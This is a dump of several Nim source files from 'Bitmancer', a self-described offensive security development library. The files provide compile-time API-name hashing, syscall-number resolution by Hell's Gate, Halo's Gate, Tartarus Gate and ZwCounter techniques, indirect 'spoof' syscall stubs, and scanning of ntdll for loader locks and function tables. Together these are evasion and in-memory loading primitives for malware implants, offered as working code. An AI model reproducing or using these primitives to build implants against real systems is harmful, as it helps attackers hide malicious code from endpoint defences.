28 | ##------------------------------------------------------------------------
29 | proc genRandomSeed(): uint32 {.compileTime.} =
30 | var seed: int
31 | discard parseInt(staticExec("bash -c 'echo $SRANDOM'"), seed, 0)
32 | echo "[+] Seeded with: " & $seed
33 | var rng = initRand(seed)
34 | rng.rand(uint32.high).uint32
35 |
36 | const
37 | HashSeed* = genRandomSeed()
38 |
39 | func ctDjb2*(pFuncName: static[cstring]): uint32 {.compileTime.} =
40 | result = HashSeed
41 | for c in pFuncName:
42 | result = ((result shl 0x05) + result) + ord(c).uint32
43 |
44 | func rtDjb2*(pFuncName: cstring): uint32 =
45 | result = HashSeed
46 | for c in pFuncName:
47 | result = ((result shl 0x05) + result) + ord(c).uint32
48 |
49 | func rtDjb2*(pFuncName: PCWSTR): uint32 =
50 | result = HashSeed
51 | var i = 0
52 | let ws = cast[ptr UncheckedArray[uint16]](pFuncName)
53 | while ws[i] != 0:
54 | result = ((result shl 0x05) + result) + ord(cast[char](ws[i])).uint32
55 | inc i
56 |
57 | template HASH_A*(s: cstring): uint32 =
58 | rtDjb2(s)
59 |
60 | template HASH_W*(s: PCWSTR|UNICODE_STRING): uint32 =
61 | when s is PCWSTR:
62 | rtDjb2(s)
63 | elif s is UNICODE_STRING:
64 | rtDjb2(s.Buffer)
65 |
66 |
--------------------------------------------------------------------------------
/src/Bitmancer/core/enumeration/memory/procedures.nim:
--------------------------------------------------------------------------------
1 | ##---------------------------------------------------------------------
2 | ## Bitmancer - a library for Offensive Security Development
3 | ##
4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com)
5 | ##
6 | ## This program is free software: you can redistribute it and/or modify
7 | ## it under the terms of the GNU General Public License as published by
8 | ## the Free Software Foundation, either version 3 of the License, or
9 | ## (at your option) any later version.
10 | ##
11 | ## This program is distributed in the hope that it will be useful,
12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | ## GNU General Public License for more details.
15 | ##
16 | ## You should have received a copy of the GNU General Public License
17 | ## along with this program. If not, see .
18 | ##
19 | ##----------------------------------------------------------------------------------
20 | import
21 | ".."/../[pe, utils]
22 |
23 | export
24 | pe
25 |
26 | func searchCallToTargetFunction*(fStart, fEnd, target: PVOID, callIndex: int): NtResult[PVOID] =
27 | var
28 | currentAddr = fStart
29 | index = 0
30 | while currentAddr != fEnd:
31 | if currentAddr.isCallInstruction():
32 | ## Offset should be: Address of Call + Offset + Length of Instruction (0x5)
33 | let rel32 = cast[PDWORD](currentAddr +! 1)[] + 0x5
34 | if currentAddr +! rel32 == target:
35 | if index == callIndex:
36 | return ok currentAddr
37 | inc index
38 | inc currentAddr
39 | err SearchNotFound
40 |
41 | func searchCall*(fStart, fEnd: PVOID, callIndex: int): NtResult[PVOID] =
42 | var
43 | currentAddr = fStart
44 | index = 0
45 | while currentAddr != fEnd:
46 | if currentAddr.isCallInstruction():
47 | if index == callIndex:
48 | return ok currentAddr
49 | inc index
50 | inc currentAddr
51 | err SearchNotFound
52 |
53 | func searchFunctionEnd*(imageBase: ModuleHandle, functionBase: PVOID): NtResult[PVOID] =
54 | let ExcDirectory = ? getExceptionDirectory imageBase
55 | for entry in runtimeFunctions ExcDirectory:
56 | if imageBase +% entry.BeginAddress == functionBase:
57 | return ok imageBase +% entry.EndAddress
58 | err SearchNotFound
59 |
--------------------------------------------------------------------------------
/src/Bitmancer/core/types/base.nim:
--------------------------------------------------------------------------------
1 | ##---------------------------------------------------------------------
2 | ## Bitmancer - a library for Offensive Security Development
3 | ##
4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com)
5 | ##
6 | ## This program is free software: you can redistribute it and/or modify
7 | ## it under the terms of the GNU General Public License as published by
8 | ## the Free Software Foundation, either version 3 of the License, or
9 | ## (at your option) any later version.
10 | ##
11 | ## This program is distributed in the hope that it will be useful,
12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | ## GNU General Public License for more details.
15 | ##
16 | ## You should have received a copy of the GNU General Public License
17 | ## along with this program. If not, see .
18 | ##
19 | ##----------------------------------------------------------------------------------
20 | import
21 | winim/inc/windef,
22 | winim/utils
23 |
24 | ## Not sure how else to do this without copying out part of winim's base.
25 | export windef except PLDR_DATA_TABLE_ENTRY, PPEB_LDR_DATA, LDR_DATA_TABLE_ENTRY, PNT_TIB, NT_TIB, EXCEPTION_REGISTRATION_RECORD,
26 | PPEB, PEB, TEB, PTEB, PROCESS_BASIC_INFORMATION, PPROCESS_BASIC_INFORMATION, PEB_LDR_DATA, RtlPcToFileHeader,
27 | RtlInitAnsiString, RtlAnsiStringToUnicodeString, RtlAllocateHeap, RtlFreeHeap, RtlInitUnicodeString, NtQuerySystemTime,
28 | RtlHashUnicodeString, RtlFreeUnicodeString, PIMAGE_LOAD_CONFIG_DIRECTORY, RtlDeleteFunctionTable, NtQuerySystemInformation,
29 | PSYSTEM_BASIC_INFORMATION, SYSTEM_BASIC_INFORMATION, SYSTEM_INFORMATION_CLASS, MEMORY_INFORMATION_CLASS,
30 | PRTL_SRWLOCK, RTL_SRWLOCK, RtlAddVectoredExceptionHandler, NtClose, NtOpenFile, RtlCopyMemory, RtlMoveMemory,
31 | RtlCompareMemory, LoadLibrary, PRTL_USER_PROCESS_PARAMETERS, RTL_USER_PROCESS_PARAMETERS, NT_ERROR,
32 | RtlCreateHeap, NtOpenSection
33 | export utils
34 |
35 | type
36 | WindowsOSVersion* = enum
37 | OS_8_1_2012RTM
38 | OS_8_1_2012R2RTM
39 | OS_8_1_2012R2U1
40 | OS_10_Threadhold1
41 | OS_10_Threshold2
42 | OS_10_Redstone
43 | OS_10_Redstone2
44 | OS_10_Redstone3
45 | OS_10_Redstone4
46 | OS_10_Redstone5
47 | OS_10_19H1
48 | OS_10_19H2
49 | OS_10_20H1
50 | OS_10_20H2
51 | OS_10_21H1
52 | OS_10_21H2
53 | OS_11_InsiderPreview
54 | OS_11_21H2
55 |
56 | const
57 | OsVer* {.intDefine.} = OS_10_21H1
58 |
59 |
60 |
--------------------------------------------------------------------------------
/src/Bitmancer/core/enumeration/memory/locks.nim:
--------------------------------------------------------------------------------
1 | ##---------------------------------------------------------------------
2 | ## Bitmancer - a library for Offensive Security Development
3 | ##
4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com)
5 | ##
6 | ## This program is free software: you can redistribute it and/or modify
7 | ## it under the terms of the GNU General Public License as published by
8 | ## the Free Software Foundation, either version 3 of the License, or
9 | ## (at your option) any later version.
10 | ##
11 | ## This program is distributed in the hope that it will be useful,
12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | ## GNU General Public License for more details.
15 | ##
16 | ## You should have received a copy of the GNU General Public License
17 | ## along with this program. If not, see .
18 | ##
19 | ##----------------------------------------------------------------------------------
20 | import
21 | ".."/../[ntloader, utils],
22 | procedures
23 |
24 | export
25 | ntresult, types
26 |
27 | func enumFindLock64*(fStart, tFunction: PVOID, callIndex: int): NtResult[PRTL_SRWLOCK] =
28 | ## Search the target function `fStart` for the first call to the target
29 | ## function `tFunction`, then parses and grabs the lock from the preceding
30 | ## instruction loading it in to the RCX register.
31 | ## TODO: a less naive solution...
32 | let
33 | Ntdll = ? NTDLL_BASE()
34 | fEnd = ? searchFunctionEnd(Ntdll, fStart)
35 | pCall = ? searchCallToTargetFunction(fStart, fEnd, tFunction, callIndex)
36 | pLea = cast[PBYTE](pCall -! 0x7)
37 |
38 | ## Check to make sure the LEA is a rip-relative rel32 instruction to RCX.
39 | if pLea[] == 0x48 and cast[PBYTE](pLea +! 1)[] == 0x8D and cast[PBYTE](pLea +! 2)[] == 0x0D:
40 |
41 | ## Grab the rip-relative address from the lea to RCX, as that will hold the address of the lock.
42 | let
43 | dataSection = ? getDataSection Ntdll
44 | rel32 = cast[PDWORD](pLea +! 0x3)[]
45 | lock = cast[PRTL_SRWLOCK](pLea +! rel32 +! 0x7)
46 | ## Check to make sure it's contained in the data section.
47 | if lock > SECTION_START(Ntdll, dataSection) and lock < SECTION_END(Ntdll, dataSection):
48 | return ok lock
49 |
50 | err LockNotFound
51 |
52 | func enumFindLock32*(fStart, tFunction: PVOID, callIndex: int): NtResult[PRTL_SRWLOCK] =
53 | ##
54 |
55 | template enumFindLock*(fStart, tFunction: PVOID, callIndex: int): NtResult[PRTL_SRWLOCK] =
56 | when defined(cpu64): enumFindLock64(fStart, tFunction, callIndex)
57 | else: enumFindLock32(fStart, tFunction, callIndex)
58 |
--------------------------------------------------------------------------------
/src/Bitmancer/syscalls.nim:
--------------------------------------------------------------------------------
1 | ##---------------------------------------------------------------------
2 | ## Bitmancer - a library for Offensive Security Development
3 | ##
4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com)
5 | ##
6 | ## This program is free software: you can redistribute it and/or modify
7 | ## it under the terms of the GNU General Public License as published by
8 | ## the Free Software Foundation, either version 3 of the License, or
9 | ## (at your option) any later version.
10 | ##
11 | ## This program is distributed in the hope that it will be useful,
12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | ## GNU General Public License for more details.
15 | ##
16 | ## You should have received a copy of the GNU General Public License
17 | ## along with this program. If not, see .
18 | ##
19 | ##----------------------------------------------------------------------------------
20 | import
21 | core/enumeration/memory/syscalls,
22 | syscalls/[gates, ldrthunks, zwcounter]
23 |
24 | export
25 | gates, ldrthunks, zwcounter
26 |
27 | ## NT Syscalls
28 | ##
29 | ## This module implements support for finding, parsing, and executing
30 | ## syscalls.
31 | ##------------------------------------------------------------------------
32 | template GET_SYSCALL*(
33 | imageBase: ModuleHandle,
34 | importBase: ModuleHandle,
35 | ident: static[SomeProcIdent],
36 | symEnum: static[SymbolEnumeration],
37 | ssnEnum: static[SsnEnumeration]
38 | ): SyscallResult =
39 | checkValidOSVersionTarget(ssnEnum)
40 | when ssnEnum == SsnEnumeration.HalosGate: halosGate(imageBase, importBase, ident, symEnum)
41 | elif ssnEnum == SsnEnumeration.HellsGate: hellsGate(imageBase, importBase, ident, symEnum)
42 | elif ssnEnum == SsnEnumeration.LdrThunks: ldrThunks(imageBase, importBase, ident, symEnum)
43 | elif ssnEnum == SsnEnumeration.TartarusGate: tartarusGate(imageBase, importBase, ident, symEnum)
44 | elif ssnEnum == SsnEnumeration.ZwCounter: zwCounter(imageBase, importBase, ident, symEnum)
45 |
46 | template NT_STUB*[T](syscall: Syscall, exeEnum: static[SyscallExecution]): T =
47 | when exeEnum == SyscallExecution.Direct: cast[T](directStub)
48 | elif exeEnum == SyscallExecution.Indirect: cast[T](spoofStub)
49 |
50 | proc getNtSyscall*[T](
51 | Ntdll: ModuleHandle,
52 | importBase: ModuleHandle,
53 | ident: static[uint32],
54 | symEnum: static[SymbolEnumeration],
55 | ssnEnum: static[SsnEnumeration],
56 | exeEnum: static[SyscallExecution]
57 | ): NtResult[NtSyscall[T]] =
58 | let
59 | sysRes = ? GET_SYSCALL(Ntdll, importBase, ident, symEnum, ssnEnum)
60 | funct = NT_STUB[T](sysRes, exeEnum)
61 | ok NtSyscall[T](
62 | syscall: sysRes,
63 | pFunction: funct
64 | )
65 |
--------------------------------------------------------------------------------
/src/Bitmancer/ntdll/procthreads.nim:
--------------------------------------------------------------------------------
1 | ##---------------------------------------------------------------------
2 | ## Bitmancer - a library for Offensive Security Development
3 | ##
4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com)
5 | ##
6 | ## This program is free software: you can redistribute it and/or modify
7 | ## it under the terms of the GNU General Public License as published by
8 | ## the Free Software Foundation, either version 3 of the License, or
9 | ## (at your option) any later version.
10 | ##
11 | ## This program is distributed in the hope that it will be useful,
12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | ## GNU General Public License for more details.
15 | ##
16 | ## You should have received a copy of the GNU General Public License
17 | ## along with this program. If not, see .
18 | ##
19 | ##----------------------------------------------------------------------------------
20 | import
21 | ../core/obfuscation/hash,
22 | ../syscalls
23 |
24 | export
25 | syscalls
26 |
27 | ## Compile Time Settings
28 | ##------------------------------------------------------------------------
29 | const
30 | ## NtFlushInstructionCache Syscall Settings
31 | ##---------------------------------------------------------------------
32 | FlushExeEnum* {.intDefine.} = SyscallExecution.Indirect
33 | FlushSsnEnum* {.intDefine.} = SsnEnumeration.ZwCounter
34 | FlushSymEnum* {.intDefine.} = SymbolEnumeration.UseEAT
35 |
36 | ## Hashes
37 | ##---------------------------------------------------------------------
38 | const
39 | NtFlushInstructionCacheHash* = ctDjb2 "NtFlushInstructionCache"
40 |
41 | ## FlushInstructionCache / NtFlushInstructionCache
42 | ##------------------------------------------------------------------------
43 | template getNtFlushInstructionCache*(
44 | Ntdll: ModuleHandle,
45 | importBase: ModuleHandle,
46 | symEnum: static SymbolEnumeration = FlushSymEnum,
47 | ssnEnum: static SsnEnumeration = FlushSsnEnum,
48 | exeEnum: static SyscallExecution = FlushExeEnum
49 | ): NtResult[NtSyscall[NtFlushInstructionCache]] =
50 | getNtSyscall[NtFlushInstructionCache](Ntdll, importBase, NtFlushInstructionCacheHash, symEnum, ssnEnum, exeEnum)
51 |
52 | proc ntFlushInstructionCache*(processHandle: HANDLE, baseAddress: PVOID, dwSize: SIZE_T): NtResult[void] {.discardable.} =
53 | genSyscall(NtFlushInstructionCache)
54 | let
55 | Ntdll = ? NTDLL_BASE()
56 | NtSyscall =
57 | when FlushSymEnum == SymbolEnumeration.UseEAT:
58 | ? getNtFlushInstructionCache(Ntdll, ModuleHandle(NULL))
59 | elif FlushSymEnum == SymbolEnumeration.UseIAT:
60 | let Kernel32 = ? KERNEL32_BASE()
61 | ? getNtFlushInstructionCache(Ntdll, Kernel32)
62 |
63 | NT_RESULT NtFlushInstructionCacheWrapper(
64 | processHandle,
65 | baseAddress,
66 | dwSize,
67 | NtSyscall
68 | ): void
69 |
--------------------------------------------------------------------------------
/src/Bitmancer/rtl/exceptions.nim:
--------------------------------------------------------------------------------
1 | ##---------------------------------------------------------------------
2 | ## Bitmancer - a library for Offensive Security Development
3 | ##
4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com)
5 | ##
6 | ## This program is free software: you can redistribute it and/or modify
7 | ## it under the terms of the GNU General Public License as published by
8 | ## the Free Software Foundation, either version 3 of the License, or
9 | ## (at your option) any later version.
10 | ##
11 | ## This program is distributed in the hope that it will be useful,
12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | ## GNU General Public License for more details.
15 | ##
16 | ## You should have received a copy of the GNU General Public License
17 | ## along with this program. If not, see .
18 | ##
19 | ##----------------------------------------------------------------------------------
20 | import
21 | ../core
22 |
23 | export
24 | core
25 |
26 | ## InvertedFunctionTable
27 | ##------------------------------------
28 | func rtlpInsertInvertedFuncTableEntry*(Ift: PINVERTED_FUNCTION_TABLE, imageBase: ModuleHandle, imageSz: SIZE_T): NtResult[void] =
29 | var index = ULONG(0)
30 | if Ift.CurrentSize != Ift.MaximumSize:
31 |
32 | if Ift.CurrentSize != 0:
33 | while index < Ift.CurrentSize:
34 | ## NTDLL Must be at index 0!
35 | if index != 0 and cast[int](imageBase) < cast[int](Ift.TableEntries[index].ImageBase):
36 | break
37 | inc index
38 | if index != Ift.CurrentSize:
39 | moveMemory(
40 | addr Ift.TableEntries[index+1],
41 | addr Ift.TableEntries[index],
42 | (Ift.CurrentSize - index) * sizeof(INVERTED_FUNCTION_TABLE_ENTRY)
43 | )
44 | let ExcDirHeaders = ? getExceptionDirectoryHeader(imageBase)
45 | Ift.TableEntries[index].Union1.FunctionTable = EXCEPTION_DIRECTORY(imageBase, ExcDirHeaders)
46 | Ift.TableEntries[index].ImageBase = PVOID(imageBase)
47 | Ift.TableEntries[index].SizeOfImage = DWORD(imageSz)
48 | Ift.TableEntries[index].SizeOfTable = ExcDirHeaders.Size
49 | else:
50 | Ift.OverFlow = TRUE
51 | ok()
52 |
53 | func rtlpRemoveInvertedFuncTableEntry*(Ift: PINVERTED_FUNCTION_TABLE, imageBase: ModuleHandle) =
54 | for index in 0 ..< Ift.CurrentSize:
55 | if imageBase == Ift.TableEntries[index].ImageBase:
56 | if Ift.CurrentSize != 1:
57 | moveMemory(
58 | addr Ift.TableEntries[index],
59 | addr Ift.TableEntries[index+1],
60 | (Ift.CurrentSize - index - 1) * sizeof INVERTED_FUNCTION_TABLE_ENTRY
61 | )
62 | dec Ift.CurrentSize
63 | if Ift.CurrentSize != Ift.MaximumSize:
64 | Ift.OverFlow = FALSE
65 |
--------------------------------------------------------------------------------
/src/Bitmancer/loader/ldrlocks.nim:
--------------------------------------------------------------------------------
1 | ##---------------------------------------------------------------------
2 | ## Bitmancer - a library for Offensive Security Development
3 | ##
4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com)
5 | ##
6 | ## This program is free software: you can redistribute it and/or modify
7 | ## it under the terms of the GNU General Public License as published by
8 | ## the Free Software Foundation, either version 3 of the License, or
9 | ## (at your option) any later version.
10 | ##
11 | ## This program is distributed in the hope that it will be useful,
12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | ## GNU General Public License for more details.
15 | ##
16 | ## You should have received a copy of the GNU General Public License
17 | ## along with this program. If not, see .
18 | ##
19 | ##----------------------------------------------------------------------------------
20 | import
21 | ../core/obfuscation/hash,
22 | ../core/enumeration/enumeration,
23 | ldrbase
24 |
25 | export
26 | ldrbase
27 |
28 | ## Hashes
29 | ##------------------------------------------------------------------------
30 | const
31 | LdrQueryModuleServiceTagsHash = ctDjb2 "LdrQueryModuleServiceTags"
32 | RtlInstallFunctionTableCallbackHash = ctDjb2 "RtlInstallFunctionTableCallback"
33 |
34 | ## LdrpMrdata
35 | ##------------------------------------
36 | template LDR_WITH_MRDATA_LOCK*(body: NtResult[void]): NtResult[void] =
37 | let
38 | LdrpMrdataLock = ? getLdrpMrdataLock()
39 | locked = rtlAcquireSRWLockExclusive LdrpMrdataLock
40 | res = body
41 | if locked.isOk():
42 | rtlReleaseSRWLockExclusive LdrpMrdataLock
43 | res
44 |
45 | proc getLdrpMrdataLock*(): NtResult[PRTL_SRWLOCK] =
46 | ## Available APIs:
47 | ## RtlAddFunctionTable
48 | ## RtlInstallFunctionTableCallback
49 | ## RtlSetProtectedPolicy
50 | ## RtlGrowFunctionTable
51 | let
52 | Ntdll = ? NTDLL_BASE()
53 | targetFunction = ? getRtlAcquireSRWLockExclusive Ntdll
54 | searchFunction = ? getProcAddress(Ntdll, RtlInstallFunctionTableCallbackHash)
55 | enumFindLock(searchFunction, targetFunction, 0)
56 |
57 | ## LdrpModuleDatatableLock
58 | ##------------------------------------
59 | template LDR_WITH_DATATABLE_LOCK*(body: NtResult[void]): NtResult[void] =
60 | let
61 | LdrpModuleDatatableLock = ? getLdrpModuleDatatableLock()
62 | locked = rtlAcquireSRWLockExclusive LdrpModuleDatatableLock
63 | res = body
64 | if locked.isOk():
65 | rtlReleaseSRWLockExclusive LdrpModuleDatatableLock
66 | res
67 |
68 | proc getLdrpModuleDatatableLock*(): NtResult[PRTL_SRWLOCK] =
69 | let
70 | Ntdll = ? NTDLL_BASE()
71 | targetFunction = ? getRtlAcquireSRWLockExclusive Ntdll
72 | searchFunction = ? getProcAddress(Ntdll, LdrQueryModuleServiceTagsHash)
73 | enumFindLock(searchFunction, targetFunction, 0)
74 |
--------------------------------------------------------------------------------
/src/Bitmancer/core/types/cfg.nim:
--------------------------------------------------------------------------------
1 | ##---------------------------------------------------------------------
2 | ## Bitmancer - a library for Offensive Security Development
3 | ##
4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com)
5 | ##
6 | ## This program is free software: you can redistribute it and/or modify
7 | ## it under the terms of the GNU General Public License as published by
8 | ## the Free Software Foundation, either version 3 of the License, or
9 | ## (at your option) any later version.
10 | ##
11 | ## This program is distributed in the hope that it will be useful,
12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | ## GNU General Public License for more details.
15 | ##
16 | ## You should have received a copy of the GNU General Public License
17 | ## along with this program. If not, see .
18 | ##
19 | ##----------------------------------------------------------------------------------
20 | const
21 | ## Module performs control flow integrity checks using system-supplied support
22 | IMAGE_GUARD_CF_INSTRUMENTED* = 0x00000100
23 |
24 | ## Module performs control flow and write integrity checks
25 | IMAGE_GUARD_CFW_INSTRUMENTED* = 0x00000200
26 |
27 | ## Module contains valid control flow target metadata
28 | IMAGE_GUARD_CF_FUNCTION_TABLE_PRESENT* = 0x00000400
29 |
30 | ## Module does not make use of the /GS security cookie
31 | IMAGE_GUARD_SECURITY_COOKIE_UNUSED* = 0x00000800
32 |
33 | ## Module supports read only delay load IAT
34 | IMAGE_GUARD_PROTECT_DELAYLOAD_IAT* = 0x00001000
35 |
36 | ## Delayload import table in its own .didat section (with nothing else in it) that can be freely reprotected
37 | IMAGE_GUARD_DELAYLOAD_IAT_IN_ITS_OWN_SECTION* = 0x00002000
38 |
39 | ## Module contains suppressed export information
40 | IMAGE_GUARD_CF_EXPORT_SUPPRESSION_INFO_PRESENT* = 0x00004000
41 |
42 | ## Module enables suppression of exports
43 | IMAGE_GUARD_CF_ENABLE_EXPORT_SUPPRESSION* = 0x00008000
44 |
45 | ## Module contains longjmp target information
46 | IMAGE_GUARD_CF_LONGJUMP_TABLE_PRESENT* = 0x00010000
47 |
48 | ## Module contains return flow instrumentation and metadata
49 | IMAGE_GUARD_RF_INSTRUMENTED* = 0x00020000
50 |
51 | ## Module requests that the OS enable return flow protection
52 | IMAGE_GUARD_RF_ENABLE* = 0x00040000
53 |
54 | ## Module requests that the OS enable return flow protection in strict mode
55 | IMAGE_GUARD_RF_STRICT* = 0x00080000
56 |
57 | ## Module was built with retpoline support
58 | IMAGE_GUARD_RETPOLINE_PRESENT* = 0x00100000
59 |
60 | ## Stride of Guard CF function table encoded in these bits (additional count of bytes per element)
61 | IMAGE_GUARD_CF_FUNCTION_TABLE_SIZE_MASK* = 0xF0000000
62 |
63 | ## Shift to right-justify Guard CF function table stride
64 | IMAGE_GUARD_CF_FUNCTION_TABLE_SIZE_SHIFT* = 28
65 |
--------------------------------------------------------------------------------
/src/Bitmancer/core/results.nim:
--------------------------------------------------------------------------------
1 | # Copyright (c) 2019 Jacek Sieka
2 | # Licensed and distributed under either of
3 | # * MIT license (license terms in the root directory or at http://opensource.org/licenses/MIT).
4 | # * Apache v2 license (license terms in the root directory or at http://www.apache.org/licenses/LICENSE-2.0).
5 | # at your option. This file may not be copied, modified, or distributed except according to those terms.
6 |
7 | ## Modifyed Result type supporting position independent code. Explicitly avoiding
8 | ## exceptions, global strings, etc.
9 | ##-----------------------------------------------------------------------
10 | type
11 | Result*[T, E] = object
12 | case o*: bool
13 | of false:
14 | e: E
15 | of true:
16 | v: T
17 |
18 | template ok*[T, E](R: typedesc[Result[T, E]], x: untyped): R =
19 | R(o: true, v: x)
20 |
21 | template ok*[E](R: typedesc[Result[void, E]]): R =
22 | R(o: true)
23 |
24 | template ok*[T: not void, E](self: var Result[T, E], x: untyped) =
25 | self = ok(type self, x)
26 |
27 | template ok*[E](self: var Result[void, E]) =
28 | self = (type self).ok()
29 |
30 | template err*[T, E](R: type Result[T, E], x: untyped): R =
31 | R(o: false, e: x)
32 |
33 | template err*[T](R: type Result[T, void]): R =
34 | R(o: false)
35 |
36 | template err*[T, E](self: var Result[T, E], x: untyped) =
37 | self = err(type self, x)
38 |
39 | template err*[T](self: var Result[T, void]) =
40 | self = err(type self)
41 |
42 | template ok*(v: auto): auto =
43 | ok(typeof(result), v)
44 |
45 | template ok*(): auto =
46 | ok(typeof(result))
47 |
48 | template err*(v: auto): auto =
49 | err(typeof(result), v)
50 |
51 | template err*(): auto =
52 | err(typeof(result))
53 |
54 | template isOk*(self: Result): bool =
55 | self.o
56 |
57 | template isErr*(self: Result): bool =
58 | not self.o
59 |
60 | func get*[T, E](self: Result[T, E]): T {.inline.} =
61 | when T isnot void:
62 | self.v
63 |
64 | func get*[T, E](self: Result[T, E], otherwise: T): T {.inline.} =
65 | if self.o: self.v
66 | else: otherwise
67 |
68 | func get*[T: not void, E](self: var Result[T, E]): var T {.inline.} =
69 | self.v
70 |
71 | func error*[T, E](self: Result[T, E]): E =
72 | when E isnot void:
73 | self.e
74 |
75 | template value*[T, E](self: Result[T, E]): T =
76 | self.get()
77 |
78 | template value*[T: not void, E](self: var Result[T, E]): var T =
79 | self.get()
80 |
81 | template valueOr*[T: not void, E](self: Result[T, E], def: untyped): T =
82 | let s = (self)
83 | if s.o:
84 | s.v
85 | else:
86 | when E isnot void:
87 | template error: E {.used, inject.} = s.e
88 | def
89 |
90 | template `?`*[T, E](self: Result[T, E]): auto =
91 | let v = (self)
92 | if not v.o:
93 | when typeof(result) is typeof(v):
94 | return v
95 | else:
96 | when E is void:
97 | return err(typeof(result))
98 | else:
99 | return err(typeof(result), v.e)
100 |
101 | when not(T is void):
102 | v.v
103 |
104 |
105 |
--------------------------------------------------------------------------------
/src/Bitmancer/rtl/heap.nim:
--------------------------------------------------------------------------------
1 | ##---------------------------------------------------------------------
2 | ## Bitmancer - a library for Offensive Security Development
3 | ##
4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com)
5 | ##
6 | ## This program is free software: you can redistribute it and/or modify
7 | ## it under the terms of the GNU General Public License as published by
8 | ## the Free Software Foundation, either version 3 of the License, or
9 | ## (at your option) any later version.
10 | ##
11 | ## This program is distributed in the hope that it will be useful,
12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | ## GNU General Public License for more details.
15 | ##
16 | ## You should have received a copy of the GNU General Public License
17 | ## along with this program. If not, see .
18 | ##
19 | ##----------------------------------------------------------------------------------
20 | import
21 | ../core/obfuscation/hash,
22 | ../core
23 |
24 | export
25 | core
26 |
27 | ## Heap APIs
28 | ##------------------------------------------------------------------------
29 |
30 | ## Hashes
31 | ##---------------------------------------------------------------------
32 | const
33 | RtlAllocateHeapHash* = ctDjb2 "RtlAllocateHeap"
34 | RtlCreateHeapHash* = ctDjb2 "RtlCreateHeap"
35 | RtlFreeHeapHash* = ctDjb2 "RtlFreeHeap"
36 |
37 | ## Helpers
38 | ##---------------------------------------------------------------------
39 | template PROCESS_HEAP_ALLOC*(T: typedesc): NtResult[PVOID] =
40 | rtlAllocateHeap(rtlProcessHeap(), HEAP_ZERO_MEMORY, sizeof(T))
41 |
42 | template PROCESS_HEAP_ALLOC*(sz: SIZE_T): NtResult[PVOID] =
43 | rtlAllocateHeap(rtlProcessHeap(), HEAP_ZERO_MEMORY, sz)
44 |
45 | template PROCESS_HEAP_FREE*(mem: PVOID): NtResult[void] =
46 | rtlFreeHeap(rtlProcessHeap(), 0, mem)
47 |
48 | ## RtlAllocateHeap
49 | ##------------------------------------
50 | proc getRtlAllocateHeap*(Ntdll: ModuleHandle): NtResult[RtlAllocateHeap] {.inline.} =
51 | let f = ? getProcAddress(Ntdll, RtlAllocateHeapHash)
52 | ok cast[RtlAllocateHeap](f)
53 |
54 | proc rtlAllocateHeap*(hHeap: HANDLE, dwFlags: ULONG, size: SIZE_T): NtResult[PVOID] =
55 | let
56 | Ntdll = ? NTDLL_BASE()
57 | pRtlAllocateHeap = ? getRtlAllocateHeap Ntdll
58 | pHeapAlloc = pRtlAllocateHeap(hHeap, dwFlags, size)
59 | if not pHeapAlloc.isNil():
60 | ok pHeapAlloc
61 | else:
62 | err ProcedureFailure
63 |
64 | ## RtlCreateHeap
65 | ##------------------------------------
66 | proc getRtlCreateHeap*(Ntdll: ModuleHandle): NtResult[RtlCreateHeap] {.inline.} =
67 | let f = ? getProcAddress(Ntdll, RtlCreateHeapHash)
68 | ok cast[RtlCreateHeap](f)
69 |
70 |
71 | ## RtlFreeHeap
72 | ##------------------------------------
73 | proc getRtlFreeHeap*(Ntdll: ModuleHandle): NtResult[RtlFreeHeap] {.inline.} =
74 | let f = ? getProcAddress(Ntdll, RtlFreeHeapHash)
75 | ok cast[RtlFreeHeap](f)
76 |
77 | proc rtlFreeHeap*(hHeap: HANDLE, dwFlags: ULONG, pAllocMemory: PVOID): NtResult[void] {.discardable.} =
78 | let
79 | Ntdll = ? NTDLL_BASE()
80 | pRtlFreeHeap = ? getRtlFreeHeap Ntdll
81 |
82 | if pRtlFreeHeap(hHeap, dwFlags, pAllocMemory) == 1:
83 | ok()
84 | else:
85 | err ProcedureFailure
86 |
--------------------------------------------------------------------------------
/src/Bitmancer/core/types/exceptions.nim:
--------------------------------------------------------------------------------
1 | ##---------------------------------------------------------------------
2 | ## Bitmancer - a library for Offensive Security Development
3 | ##
4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com)
5 | ##
6 | ## This program is free software: you can redistribute it and/or modify
7 | ## it under the terms of the GNU General Public License as published by
8 | ## the Free Software Foundation, either version 3 of the License, or
9 | ## (at your option) any later version.
10 | ##
11 | ## This program is distributed in the hope that it will be useful,
12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | ## GNU General Public License for more details.
15 | ##
16 | ## You should have received a copy of the GNU General Public License
17 | ## along with this program. If not, see .
